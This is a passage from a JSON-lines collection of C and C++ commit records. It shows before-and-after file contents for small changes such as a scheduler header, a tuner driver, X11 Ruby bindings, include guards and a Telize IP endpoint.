stack_size); \\\n    CALL_SCHEDULER_ADD(__LINE__, func);\n\n#endif \/* SCHEDULER_H *\/\n","new_contents":"\/*\n * scheduler.h\n *\n *  Created on: Jun 8, 2016\n *      Author: riley\n *\/\n\n#ifndef SCHEDULER_H\n#define SCHEDULER_H\n\n#include <stdint.h>\n#include \"scheduler_private.h\"\n\ntypedef void (*task_func_t)( void ) ;\n\ntypedef volatile struct task_private_s {\n    const char * name;\n    volatile void * task_sp; \/\/Task stack pointer\n    volatile struct task_private_s * next;\n} task_t;\n\n\n\/\/\/ Sets up the idle task\nvoid scheduler_init( void );\n\n\/**\n * Add task to task list to be run at next context switch.\n *\/\nvoid scheduler_add_task(task_t * task_handle, const char * name,\n                        task_func_t func, uint16_t * task_stack, uint16_t stack_bytes);\n\n\/\/\/ Kicks off the timer interrupt\nvoid scheduler_run( void );\n\n\/**\n * Handy macro which blackboxes the allocation of memory\n * per task. Accepts the task function to schedule\n * and the size of stack to allocate as arguments.\n *\/\n#define SCHEDULER_ADD(func, stack_size) \\\n    CREATE_TASK_HANDLE(__LINE__, func); \\\n    CREATE_TASK_STACK(__LINE__, func, stack_size); \\\n    CALL_SCHEDULER_ADD(__LINE__, func);\n\n#endif \/* SCHEDULER_H *\/\n","subject":"Remove implementation details from API comment","message":"Remove implementation details from API comment\n","lang":"C","license":"mit","repos":"rjw245\/rileyOS"}
{"commit":"72a770c94deb158fbb1b804c7d0395623c568272","old_file":"drivers\/media\/radio\/lm7000.h","new_file":"drivers\/media\/radio\/lm7000.h","old_contents":"","new_contents":"#ifndef __LM7000_H\n#define __LM7000_H\n\n\/* Sanyo LM7000 tuner chip control\n *\n * Copyright 2012 Ondrej Zary <linux@rainbow-software.org>\n * based on radio-aimslab.c by M. Kirkwood\n * and radio-sf16fmi.c by M. Kirkwood and Petr Vandrovec\n *\/\n\n#define LM7000_DATA\t(1 << 0)\n#define LM7000_CLK\t(1 << 1)\n#define LM7000_CE\t(1 << 2)\n\n#define LM7000_FM_100\t(0 << 20)\n#define LM7000_FM_50\t(1 << 20)\n#define LM7000_FM_25\t(2 << 20)\n#define LM7000_BIT_FM\t(1 << 23)\n\nstatic inline void lm7000_set_freq(u32 freq, void *handle,\n\t\t\t\tvoid (*set_pins)(void *handle, u8 pins))\n{\n\tint i;\n\tu8 data;\n\tu32 val;\n\n\tfreq += 171200;\t\t\/* Add 10.7 MHz IF *\/\n\tfreq \/= 400;\t\t\/* Convert to 25 kHz units *\/\n\tval = freq | LM7000_FM_25 | LM7000_BIT_FM;\n\t\/* write the 24-bit register, starting with LSB *\/\n\tfor (i = 0; i < 24; i++) {\n\t\tdata = val & (1 << i) ? LM7000_DATA : 0;\n\t\tset_pins(handle, data | LM7000_CE);\n\t\tudelay(2);\n\t\tset_pins(handle, data | LM7000_CE | LM7000_CLK);\n\t\tudelay(2);\n\t\tset_pins(handle, data | LM7000_CE);\n\t\tudelay(2);\n\t}\n\tset_pins(handle, 0);\n}\n\n#endif \/* __LM7000_H *\/\n","subject":"Add Sanyo LM7000 tuner driver","message":"[media] radio: Add Sanyo LM7000 tuner driver\n\nAdd very simple driver for Sanyo LM7000 AM\/FM tuner chip. Only FM is supported\nas there is no known HW with AM implemented.\n\nThis will be used by radio-aimslab and radio-sf16fmi.\n\nSigned-off-by: Ondrej Zary <ba324ca7b1c77fc20bb970d5aff6eea9377918a5@rainbow-software.org>\nAcked-by: Hans Verkuil <3a513708f73c27e7d36ebc496aa41dad6a3153ea@cisco.com>\nSigned-off-by: Mauro Carvalho Chehab <ad86ba2154032c9f55743a190faa2459a9d61d42@redhat.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"d61e95344b2052b6dfa8a96a61fff6b99f08e008","old_file":"ext\/libx11_ruby\/libx11_ruby.c","new_file":"ext\/libx11_ruby\/libx11_ruby.c","old_contents":"#include \"libx11_ruby.h\"\n\nVALUE rb_mLibX11;\n\nvoid\nInit_libx11_ruby(void)\n{\n  rb_mLibX11 = rb_define_module(\"LibX11\");\n}\n","new_contents":"#include <X11\/Xlib.h>\n#include \"libx11_ruby.h\"\n\nVALUE rb_mLibX11, rb_cDisplay;\n\nstatic size_t display_memsize(const void *);\n\nstatic const rb_data_type_t display_type = {\n  .wrap_struct_name = \"libx11_display\",\n  .function = {\n    .dmark = NULL,\n    .dfree = NULL,\n    .dsize = display_memsize,\n    .reserved = { NULL, NULL },\n  },\n  .parent = NULL,\n  .data = NULL,\n  .flags = RUBY_TYPED_FREE_IMMEDIATELY,\n};\n\nstatic size_t\ndisplay_memsize(const void *arg)\n{\n  const Display *display = arg;\n  return sizeof(display);\n}\n\n\/*\n * Xlib XOpenDisplay\n *\/\nstatic VALUE\nrb_libx11_open_display(VALUE self, VALUE display_name)\n{\n  Display *display;\n  Check_Type(display_name, T_STRING);\n\n  display = XOpenDisplay(RSTRING_PTR(display_name));\n  return TypedData_Wrap_Struct(rb_cDisplay, &display_type, display);\n}\n\n\/*\n * Xlib XCloseDisplay\n *\/\nstatic VALUE\nrb_libx11_close_display(VALUE self, VALUE obj)\n{\n  int ret;\n  Display *display;\n\n  TypedData_Get_Struct(obj, Display, &display_type, display);\n  ret = XCloseDisplay(display);\n  return INT2FIX(ret);\n}\n\nvoid\nInit_libx11_ruby(void)\n{\n  rb_mLibX11 = rb_define_module(\"LibX11\");\n  rb_define_singleton_method(rb_mLibX11, \"open_display\", rb_libx11_open_display, 1);\n  rb_define_singleton_method(rb_mLibX11, \"close_display\", rb_libx11_close_display, 1);\n\n  rb_cDisplay = rb_define_class_under(rb_mLibX11, \"Display\", rb_cData);\n}\n","subject":"Add bindings for XOpenDisplay and XCloseDisplay","message":"Add bindings for XOpenDisplay and XCloseDisplay\n","lang":"C","license":"mit","repos":"k0kubun\/libx11-ruby,k0kubun\/libx11-ruby"}
{"commit":"e5ef49ad2ccaf5319b2476f8c8b866dbdee3f187","old_file":"src\/nbody.h","new_file":"src\/nbody.h","old_contents":"#ifndef _nbody_h\n#define _nbody_h\n\n\n#include <stdbool.h>\n#include \"window.h\"\n#include \"star.h\"\n\n#define NUM_STARS 64\n\n\ntypedef struct {\n    Window* window;\n    bool running;\n    Star stars[NUM_STARS];\n} NBody;\n\n\nNBody* NBody_new();\nvoid NBody_run(NBody* self);\nvoid NBody_destroy(NBody* self);\n\n\n#endif\n","new_contents":"#ifndef _nbody_h\n#define _nbody_h\n\n\n#include <stdbool.h>\n#include \"window.h\"\n#include \"star.h\"\n\n#define NUM_STARS 512\n\n\ntypedef struct {\n    Window* window;\n    bool running;\n    Star stars[NUM_STARS];\n} NBody;\n\n\nNBody* NBody_new();\nvoid NBody_run(NBody* self);\nvoid NBody_destroy(NBody* self);\n\n\n#endif\n","subject":"Increase number of stars to 512.","message":"Increase number of stars to 512.\n","lang":"C","license":"mit","repos":"wtolson\/nbody-opengl,wtolson\/nbody-opengl"}
{"commit":"d3a6ecc4f70e7614cc8b5016617aee79f5960710","old_file":"include\/cpp-sort\/utility\/functional.h","new_file":"include\/cpp-sort\/utility\/functional.h","old_contents":"","new_contents":"\/*\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Morwenn\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n#ifndef CPPSORT_UTILITY_FUNCTIONAL_H_\n#define CPPSORT_UTILITY_FUNCTIONAL_H_\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Headers\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include <cmath>\n#include <utility>\n\nnamespace cppsort\n{\nnamespace utility\n{\n    struct half\n    {\n        template<typename T>\n        constexpr auto operator()(T&& value) const\n            -> decltype(std::forward<T>(value) \/ 2)\n        {\n            return std::forward<T>(value) \/ 2;\n        }\n    };\n\n    struct log\n    {\n        template<typename T>\n        constexpr auto operator()(T&& value) const\n            -> decltype(auto)\n        {\n            using std::log;\n            return log(std::forward<T>(value));\n        }\n    };\n\n    struct sqrt\n    {\n        template<typename T>\n        constexpr auto operator()(T&& value) const\n            -> decltype(auto)\n        {\n            using std::sqrt;\n            return sqrt(std::forward<T>(value));\n        }\n    };\n}}\n\n#endif \/\/ CPPSORT_UTILITY_FUNCTIONAL_H_\n","subject":"Add somewhat useful function objects.","message":"Add somewhat useful function objects.\n","lang":"C","license":"mit","repos":"Morwenn\/cpp-sort,Morwenn\/cpp-sort,Morwenn\/cpp-sort,Morwenn\/cpp-sort"}
{"commit":"f18766e3a0dec67141ab2e1564023af04789cd7d","old_file":"Projects\/Project1\/src\/order.h","new_file":"Projects\/Project1\/src\/order.h","old_contents":"#ifndef ORDER_H_\n#define ORDER_H_\n\n\/**\n* Represents an order with weight and volume\n*\/\nclass Order\n{\npublic:\n    Order(uint weight, uint volume) : _weight(weight), _volume(volume) { } \/\/\/< Constructor\n    Order(const Order& other) : _weight(other._weight), _volume(other._volume) { } \/\/\/< Copy constructor\n    Order operator=(const Order& other) const { return Order(other); } \/\/\/< Assignment operator\n\n    uint GetWeight() const { return _weight; } \/\/\/< Returns the order weight\n    uint GetVolume() const { return _volume; } \/\/\/< Returns the order volume\n\nprivate:\n    const uint _weight;\n    const uint _volume;\n};\n\n#endif \/\/ ORDER_H_\n","new_contents":"#ifndef ORDER_H_\n#define ORDER_H_\n\n\/**\n* Represents an order with weight and volume\n*\/\nclass Order\n{\npublic:\n    Order(uint weight, uint volume) : _weight(weight), _volume(volume) { } \/\/\/< Constructor\n\n    uint GetWeight() const { return _weight; } \/\/\/< Returns the order weight\n    uint GetVolume() const { return _volume; } \/\/\/< Returns the order volume\n\nprivate:\n    uint _weight;\n    uint _volume;\n};\n\n#endif \/\/ ORDER_H_\n","subject":"Fix a bug with copy cctors, iterators and vector erases. Weird bugs are weird.","message":"Fix a bug with copy cctors, iterators and vector erases. Weird bugs are weird.\n","lang":"C","license":"mit","repos":"DDuarte\/feup-cal,DDuarte\/feup-cal,DDuarte\/feup-cal,DDuarte\/feup-cal,DDuarte\/feup-cal"}
{"commit":"98c5148a59368feae0aecf56f87d64e74787768c","old_file":"Engine\/Sprite.h","new_file":"Engine\/Sprite.h","old_contents":"#pragma once\n#include \"Point.h\"\n#include <SDL\/include\/SDL.h>\n\nstruct Sprite\n{\n\tSDL_Rect Rect;\n\tiPoint Pivot;\n};\n\n","new_contents":"#ifndef __SPRITE_H__\n#define __SPRITE_H__\n\n#include \"Point.h\"\n#include <SDL\/include\/SDL.h>\n\nstruct Sprite\n{\n\tSDL_Rect Rect;\n\tiPoint Pivot;\n};\n\n#endif \/\/ __SPRITE_H__\n","subject":"Substitute pragma once for ifndef guards","message":"Substitute pragma once for ifndef guards\n\n","lang":"C","license":"mit","repos":"jowie94\/The-Simpsons-Arcade,jowie94\/The-Simpsons-Arcade"}
{"commit":"71f77664fed316a2714c91b2828934f6a4d10211","old_file":"examples\/memory.c","new_file":"examples\/memory.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\nint main(int argc, char *argv[])\n{\n    int x, y, *p, **q;\n\n    p = &x;\n    q = &p;\n    *q = &y;\n\n    \/* int *ptr; *\/\n\n    \/* ptr = malloc(sizeof(int)); *\/\n\n    \/* x = 5; *\/\n    \/* *ptr = x; *\/\n\n    \/* int y = *ptr; *\/\n\n    \/* if (y != x) *\/\n    \/*     return EXIT_FAILURE; *\/\n\n    \/* ptr = &x; *\/\n    \/* printf(\"%d\", *ptr); *\/\n    \/* ptr = &argc; *\/\n\n    return EXIT_SUCCESS;\n}\n","subject":"Add a simple example for Andersen's analysis.","message":"Add a simple example for Andersen's analysis.\n","lang":"C","license":"mit","repos":"plast-lab\/llvm-datalog,plast-lab\/cclyzer"}
{"commit":"7b9661e1d1d78c7558123e4865a32c60e84d8049","old_file":"src\/graphics.h","new_file":"src\/graphics.h","old_contents":"#ifndef __GRAPHICS_H__\n#define __GRAPHICS_H__\n\n#include \"models.h\"\n\ntypedef struct {\n    int           num_goats_to_put;\n    int           num_eaten_goats;\n    player_turn_t turn;\n    mvt_t         input;\n    mvt_t         *possible_mvts;\n    board_t       *board;\n} state_to_draw_t;\n\n#endif\n","new_contents":"#ifndef __GRAPHICS_H__\n#define __GRAPHICS_H__\n\n#include \"models.h\"\n\ntypedef struct {\n    int           num_goats_to_put;\n    int           num_eaten_goats;\n    player_turn_t turn;\n    mvt_t         input;\n    mvt_t         *possible_mvts;\n    size_t        num_possible_mvts;\n    board_t       *board;\n} state_to_draw_t;\n\n#endif\n","subject":"Fix state_to_draw_t by adding the number of possible mvts","message":"Fix state_to_draw_t by adding the number of possible mvts\n","lang":"C","license":"mit","repos":"moverest\/bagh-chal,moverest\/bagh-chal,moverest\/bagh-chal"}
{"commit":"41ecc842c747e8dc572fcbca6f41a11a08a55e4e","old_file":"pkg\/gridalt\/gridalt_mapping.h","new_file":"pkg\/gridalt\/gridalt_mapping.h","old_contents":"C $Header$\nC $Name$\n\n#include \"PACKAGES_CONFIG.h\"\n\nc Alternate grid Mapping Common\nc ------------------------------\n#ifdef ALLOW_FIZHI\n      integer nlperdyn(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nr,nSx,Nsy)\n      _RL dpphys0(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nrphys,nSx,nSy)\n      _RL dpphys(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nrphys,nSx,nSy)\n      _RL dxfalt,dyfalt,drfalt\n      common \/gridalt_mapping\/ nlperdyn,dpphys0,dpphys,\n     .                                             dxfalt,dyfalt,drfalt\n#endif\n","new_contents":"C $Header$\nC $Name$\n\nc Alternate grid Mapping Common\nc ------------------------------\n#ifdef ALLOW_FIZHI\n      integer nlperdyn(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nr,nSx,Nsy)\n      _RL dpphys0(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nrphys,nSx,nSy)\n      _RL dpphys(1-OLx:sNx+OLx,1-OLy:sNy+OLy,Nrphys,nSx,nSy)\n      _RL dxfalt,dyfalt,drfalt\n      common \/gridalt_mapping\/ nlperdyn,dpphys0,dpphys,\n     .                                             dxfalt,dyfalt,drfalt\n#endif\n","subject":"Remove explicit include of packages_config in here - it is included elsewhere in all routines which use this common","message":"Remove explicit include of packages_config in here - it is included elsewhere in\nall routines which use this common\n","lang":"C","license":"mit","repos":"altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h"}
{"commit":"2d7cf3ef879b22bdfd271aa3b66733c53279e813","old_file":"arch\/powerpc\/include\/asm\/kmap_types.h","new_file":"arch\/powerpc\/include\/asm\/kmap_types.h","old_contents":"#ifndef _ASM_POWERPC_KMAP_TYPES_H\n#define _ASM_POWERPC_KMAP_TYPES_H\n\n#ifdef __KERNEL__\n\n\/*\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n\nenum km_type {\n\tKM_BOUNCE_READ,\n\tKM_SKB_SUNRPC_DATA,\n\tKM_SKB_DATA_SOFTIRQ,\n\tKM_USER0,\n\tKM_USER1,\n\tKM_BIO_SRC_IRQ,\n\tKM_BIO_DST_IRQ,\n\tKM_PTE0,\n\tKM_PTE1,\n\tKM_IRQ0,\n\tKM_IRQ1,\n\tKM_SOFTIRQ0,\n\tKM_SOFTIRQ1,\n\tKM_PPC_SYNC_PAGE,\n\tKM_PPC_SYNC_ICACHE,\n\tKM_TYPE_NR\n};\n\n#endif\t\/* __KERNEL__ *\/\n#endif\t\/* _ASM_POWERPC_KMAP_TYPES_H *\/\n","new_contents":"#ifndef _ASM_POWERPC_KMAP_TYPES_H\n#define _ASM_POWERPC_KMAP_TYPES_H\n\n#ifdef __KERNEL__\n\n\/*\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n\nenum km_type {\n\tKM_BOUNCE_READ,\n\tKM_SKB_SUNRPC_DATA,\n\tKM_SKB_DATA_SOFTIRQ,\n\tKM_USER0,\n\tKM_USER1,\n\tKM_BIO_SRC_IRQ,\n\tKM_BIO_DST_IRQ,\n\tKM_PTE0,\n\tKM_PTE1,\n\tKM_IRQ0,\n\tKM_IRQ1,\n\tKM_SOFTIRQ0,\n\tKM_SOFTIRQ1,\n\tKM_PPC_SYNC_PAGE,\n\tKM_PPC_SYNC_ICACHE,\n\tKM_TYPE_NR\n};\n\n\/*\n * This is a temporary build fix that (so they say on lkml....) should no longer\n * be required after 2.6.33, because of changes planned to the kmap code.\n * Let's try to remove this cruft then.\n *\/\n#ifdef CONFIG_DEBUG_HIGHMEM\n#define KM_NMI\t\t(-1)\n#define KM_NMI_PTE\t(-1)\n#define KM_IRQ_PTE\t(-1)\n#endif\n\n#endif\t\/* __KERNEL__ *\/\n#endif\t\/* _ASM_POWERPC_KMAP_TYPES_H *\/\n","subject":"Fix DEBUG_HIGHMEM build break from d4515646699","message":"powerpc: Fix DEBUG_HIGHMEM build break from d4515646699\n\nCode was added to mm\/higmem.c that depends on several\nkmap types that powerpc does not support.  We add dummy\ninvalid definitions for KM_NMI, KM_NM_PTE, and KM_IRQ_PTE.\n\nAccording to list discussion, this fix should not be needed\nanymore starting with 2.6.33.  The code is commented to this\neffect so hopefully we will remember to remove this.\n\nSigned-off-by: Becky Bruce <f047d6ac93d5e15bc5478b9d8f9d5417f11532d4@kernel.crashing.org>\nSigned-off-by: Benjamin Herrenschmidt <a7089bb6e7e92505d88aaff006cbdd60cc9120b6@kernel.crashing.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"0b8a1228b773bc4e9a865a913a231f7e0d1e7a15","old_file":"platform\/shared\/common\/stat.h","new_file":"platform\/shared\/common\/stat.h","old_contents":"\/*\n#if defined(__APPLE__) && !(defined(__DARWIN_ONLY_64_BIT_INO_T) && ___DARWIN_ONLY_64_BIT_INO_T)\n#define __DARWIN_ONLY_64_BIT_INO_T 1\n#endif\n*\/\n#include <sys\/stat.h>\n","new_contents":"#if defined(__APPLE__) && !defined(__arm__) && !defined(__IPHONE_4_0)\n\/* Simulator 3.2 or less *\/\n#define RHO_IPHONE_SIMULATOR_3\n#endif\n\n#ifdef RHO_IPHONE_SIMULATOR_3\n#ifdef stat\n#undef stat\n#endif\n#ifdef lstat\n#undef lstat\n#endif\n#ifdef fstat\n#undef fstat\n#endif\n#endif\n\n#include <sys\/stat.h>\n\n#ifdef RHO_IPHONE_SIMULATOR_3\n\/* \n * map stat functions and structure to theirs 64-bit analogues to be binary\n * compatible with iPhone 4 x86\/x86_64 application - in iPhone 4 SDK stat\n * become 64-bit only so enabling such mapping we could run applications built\n * with 3.x SDK on iPhone 4 simulator\n * This is not required for iPhone devices - there stat was always 64-bit.\n *\/\n#define stat stat64\n#define lstat lstat64\n#define fstat fstat64\n#endif\n","subject":"Make iPhone simulator build binary compatible between 3.x and 4.x","message":"Make iPhone simulator build binary compatible between 3.x and 4.x\n","lang":"C","license":"mit","repos":"pslgoh\/rhodes,tauplatform\/tau,watusi\/rhodes,tauplatform\/tau,tauplatform\/tau,tauplatform\/tau,tauplatform\/tau,watusi\/rhodes,rhomobile\/rhodes,rhomobile\/rhodes,tauplatform\/tau,tauplatform\/tau,watusi\/rhodes,pslgoh\/rhodes,pslgoh\/rhodes,tauplatform\/tau,rhomobile\/rhodes,rhomobile\/rhodes,watusi\/rhodes,pslgoh\/rhodes,watusi\/rhodes,pslgoh\/rhodes,watusi\/rhodes,rhomobile\/rhodes,rhomobile\/rhodes,tauplatform\/tau,watusi\/rhodes,watusi\/rhodes,rhomobile\/rhodes,pslgoh\/rhodes,watusi\/rhodes,pslgoh\/rhodes,pslgoh\/rhodes,tauplatform\/tau,rhomobile\/rhodes,watusi\/rhodes,pslgoh\/rhodes,rhomobile\/rhodes,rhomobile\/rhodes,pslgoh\/rhodes"}
{"commit":"ca4e752c35e8a6254d85fae156cc256f2658de2a","old_file":"src\/ip.c","new_file":"src\/ip.c","old_contents":"\/*****************************************************************************\/\n\/*                                                                           *\/\n\/* Telize 2.0.0                                                              *\/\n\/* Copyright (c) 2013-2018, Frederic Cambus                                  *\/\n\/* https:\/\/www.telize.com                                                    *\/\n\/*                                                                           *\/\n\/* Created:      2013-08-15                                                  *\/\n\/* Last Updated: 2018-10-04                                                  *\/\n\/*                                                                           *\/\n\/* Telize is released under the BSD 2-Clause license.                        *\/\n\/* See LICENSE file for details.                                             *\/\n\/*                                                                           *\/\n\/*****************************************************************************\/\n\n#include <sys\/socket.h>\n\n#include <kore\/kore.h>\n#include <kore\/http.h>\n\nint\t\tip(struct http_request *);\n\nint\nip(struct http_request *req)\n{\n\tchar addr[INET6_ADDRSTRLEN];\n\n\tif (req->owner->addrtype == AF_INET) {\n\t\tinet_ntop(req->owner->addrtype, &(req->owner->addr.ipv4.sin_addr), addr, sizeof(addr));\n\t} else {\n\t\tinet_ntop(req->owner->addrtype, &(req->owner->addr.ipv6.sin6_addr), addr, sizeof(addr));\n\t}\n\n\thttp_response(req, 200, addr, strlen(addr));\n\n\treturn (KORE_RESULT_OK);\n}\n","new_contents":"\/*****************************************************************************\/\n\/*                                                                           *\/\n\/* Telize 2.0.0                                                              *\/\n\/* Copyright (c) 2013-2018, Frederic Cambus                                  *\/\n\/* https:\/\/www.telize.com                                                    *\/\n\/*                                                                           *\/\n\/* Created:      2013-08-15                                                  *\/\n\/* Last Updated: 2018-10-04                                                  *\/\n\/*                                                                           *\/\n\/* Telize is released under the BSD 2-Clause license.                        *\/\n\/* See LICENSE file for details.                                             *\/\n\/*                                                                           *\/\n\/*****************************************************************************\/\n\n#include <sys\/socket.h>\n\n#include <kore\/kore.h>\n#include <kore\/http.h>\n\nint\t\tip(struct http_request *);\n\nint\nip(struct http_request *req)\n{\n\tconst char *visitor_ip;\n\tchar *ip, addr[INET6_ADDRSTRLEN];\n\n\tif (req->owner->addrtype == AF_INET) {\n\t\tinet_ntop(req->owner->addrtype, &(req->owner->addr.ipv4.sin_addr), addr, sizeof(addr));\n\t} else {\n\t\tinet_ntop(req->owner->addrtype, &(req->owner->addr.ipv6.sin6_addr), addr, sizeof(addr));\n\t}\n\n\tif (http_request_header(req, \"X-Forwarded-For\", &visitor_ip)) {\n\t\tip = kore_strdup(visitor_ip);\n\t} else {\n\t\tip = addr;\n\t}\n\n\thttp_response(req, 200, ip, strlen(ip));\n\n\treturn (KORE_RESULT_OK);\n}\n","subject":"Handle the 'X-Forwarded-For' HTTP header if present","message":"Handle the 'X-Forwarded-For' HTTP header if present\n","lang":"C","license":"bsd-2-clause","repos":"fcambus\/telize"}
{"commit":"102f9015c61e9e7a84e1442705e85de19fe9b400","old_file":"test\/C++Frontend\/ConstructorDestructorAttributes.c","new_file":"test\/C++Frontend\/ConstructorDestructorAttributes.c","old_contents":"","new_contents":"#include <stdio.h>\n\nvoid ctor() __attribute__((constructor));\n\nvoid ctor() {\n   printf(\"Create!\\n\");\n}\nvoid dtor() __attribute__((destructor));\n\nvoid dtor() {\n   printf(\"Create!\\n\");\n}\n\nint main() { return 0; }\n","subject":"Add a testcase to ensure that ctor\/dtor attributes work in C","message":"Add a testcase to ensure that ctor\/dtor attributes work in C\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@6919 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm"}
{"commit":"f696c641dc0182e254ae9cea224465ed8e7fef79","old_file":"src\/common.h","new_file":"src\/common.h","old_contents":"#ifndef COMMON_INCLUDED\n#define COMMON_INCLUDED\n#pragma once\n\n#define _WIN32_WINNT _WIN32_WINNT_WINXP\n#define NOMINMAX\n#include <Windows.h>\n\n#define at_scope_exit(cb) auto CONCAT(scope_exit_, __COUNTER__) = make_scope_guard(cb);\n#define CONCAT(a, b) CONCAT2(a, b)\n#define CONCAT2(a, b) a ## b\n\ntemplate <class Callback>\nclass scope_guard\n{\npublic:\n\tscope_guard(Callback cb) : cb(cb), valid(true) { }\n\tscope_guard(scope_guard&& other) : cb(std::move(other.cb)), valid(std::move(other.valid)) { other.valid = false; }\n\tscope_guard& operator = (scope_guard&& other) { cb = std::move(other.cb); valid = std::move(other.valid); other.valid = false; return *this; }\n\t~scope_guard() { if (valid) cb(); }\nprivate:\n\tscope_guard(const scope_guard& other);\n\tscope_guard& operator = (const scope_guard& other);\n\nprivate:\n\tCallback cb;\n\tbool valid;\n};\n\ntemplate <class Callback>\nscope_guard<Callback> make_scope_guard(Callback cb)\n{\n\treturn scope_guard<Callback>(cb);\n}\n\n\nextern HINSTANCE DllInstance;\n\n#endif\n","new_contents":"#ifndef COMMON_INCLUDED\n#define COMMON_INCLUDED\n#pragma once\n\n#define _WIN32_WINNT _WIN32_WINNT_WINXP\n#define NOMINMAX\n#include <Windows.h>\n\n#define at_scope_exit(cb) auto CONCAT(scope_exit_, __COUNTER__) = make_scope_guard(cb);\n#define CONCAT(a, b) CONCAT2(a, b)\n#define CONCAT2(a, b) a ## b\n\ntemplate <class Callback>\nclass scope_guard\n{\npublic:\n\tscope_guard(Callback cb) : cb(cb), valid(true) { }\n\tscope_guard(const scope_guard& other) = delete;\n\tscope_guard& operator = (const scope_guard& other) = delete;\n\tscope_guard(scope_guard&& other) : cb(std::move(other.cb)), valid(std::move(other.valid)) { other.valid = false; }\n\tscope_guard& operator = (scope_guard&& other) { cb = std::move(other.cb); valid = std::move(other.valid); other.valid = false; return *this; }\n\t~scope_guard() { if (valid) cb(); }\n\nprivate:\n\tCallback cb;\n\tbool valid;\n};\n\ntemplate <class Callback>\nscope_guard<Callback> make_scope_guard(Callback cb)\n{\n\treturn scope_guard<Callback>(cb);\n}\n\n\nextern HINSTANCE DllInstance;\n\n#endif\n","subject":"Use = delete for deleted members.","message":"Use = delete for deleted members.\n\ngit-svn-id: 43fbdb37a1fde3402d8d2922bf6a94a542354cf8@402 41632dc1-7a16-0410-8441-a1f66f767317\n","lang":"C","license":"mit","repos":"Bekenn\/wcdx,Bekenn\/wcdx"}
